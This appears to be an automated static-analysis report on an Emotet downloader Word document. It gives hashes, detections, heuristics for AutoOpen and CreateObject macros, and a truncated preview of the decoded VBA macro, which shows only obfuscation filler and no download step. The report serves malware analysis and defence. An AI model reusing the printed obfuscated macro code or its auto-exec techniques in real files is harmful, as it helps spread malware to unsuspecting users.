Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 2cb9621b46ff7d4f…

MALICIOUS

Office (OLE)

145.1 KB Created: 2019-05-31 15:27:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 5fa4506f4d7849a05168b198d191f440 SHA-1: 7a4c9d67ca5e4837acec7a6340f7c7eb97c302f4 SHA-256: 2cb9621b46ff7d4f115a0e8ed5e6e5e8c1e8c5524721d603363ab85630b729b4
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-10001946-0, indicating it's a downloader for the Emotet family. Heuristics confirm the presence of VBA macros, specifically an AutoOpen macro that utilizes CreateObject, a common technique for executing malicious code. The VBA script, though truncated, likely facilitates the download and execution of a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17148 bytes
SHA-256: b98fa0df78cbb82486faf87711bff2663908488e20122901a4b198529db70aff
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "wDla3z_, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "zP1r39TU, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "kadvjs, 2, 2, MSForms, ComboBox"

Attribute VB_Name = "A24iRMj"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "dKkVvLKS"

Attribute VB_Name = "PGPPpU_"

Attribute VB_Name = "Mbqzc2vU"

Attribute VB_Name = "I3ubzO"

Attribute VB_Name = "CD6TE_Sn"

Attribute VB_Name = "ufMaicO"

Attribute VB_Name = "OIrdjS"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "E0m4On6"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "iwW4R8"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "PTAzNmG3"
Function YDQC75qb()
   Select Case "wCY8XHou"
         Case "iGQHI8p"
         Debug.Print "zTpi5o1"
            Debug.Print Tan("UUZqtPKw")
         Debug.Print Log("vGu1wZ")
            Debug.Print "tpusIlW"
            Debug.Print "OifSiz9"
            Debug.Print Tan("G6XB8Wsc")
         Case "Ki3JBN9"
            Debug.Print Log("jMwUv34S")
            Debug.Print "TRzi5S0C"
            Debug.Print Log("U_r6ww5a")
            Debug.Print "DkLBpsT"
            Debug.Print Tan("IED_hUR")
            Debug.Print "w3DKG6jr"
End Select

   Select Case "D_dz8Tz"
         Case "wjTvjCNR"
         Debug.Print "Sruqlw"
            Debug.Print Tan("AOR3GF")
         Debug.Print Log("jo6uOX")
            Debug.Print "pUVA4O"
            Debug.Print "sQo7UT4"
            Debug.Print Tan("LwEmHdOt")
         Case "iWuz0Vc"
            Debug.Print Log("VINwO3")
            Debug.Print "WGzTv38A"
            Debug.Print Log("jr2GRi")
            Debug.Print "CHbpl4b"
            Debug.Print Tan("iAC2uHn")
            Debug.Print "fHzfwza"
End Select

End Function
Function cELmYS()
   Select Case "J_L2PLP"
         Case "b0zm94ds"
         Debug.Print "zUBSiKc"
            Debug.Print Tan("owW4Rn")
         Debug.Print Log("jbz4rpZ")
            Debug.Print "votYDG"
            Debug.Print "rSKror"
            Debug.Print Tan("wz_KGj")
         Case "c2RniTqm"
            Debug.Print Log("MwN5us7")
            Debug.Print "R2p0uBo"
            Debug.Print Log("VTCZpw2M")
            Debug.Print "phmi4Oc_"
            Debug.Print Tan("CRPfEp")
            Debug.Print "thm1kwLf"
End Select

If 789825 = 789825 Then
   Select Case "FNm82967"
         Case "jKDnSv93"
         Debug.Print "t1LClu"
            Debug.Print Tan("Q7CHsw7S")
         Debug.Print Log("rLB3sQ")
            Debug.Print "IRrSd9T"
            Debug.Print "NBjVG7Gm"
            Debug.Print Tan("ddPsA9wB")
         Case "zI6iLk"
            Debug.Print Log("BcFwo5")
            Debug.Print "LztQ7Q"
            Debug.Print Log("w96krUq")
            Debug.Print "B6IGEK"
            Debug.Print Tan("wlBvw1")
            Debug.Print "l
... (truncated)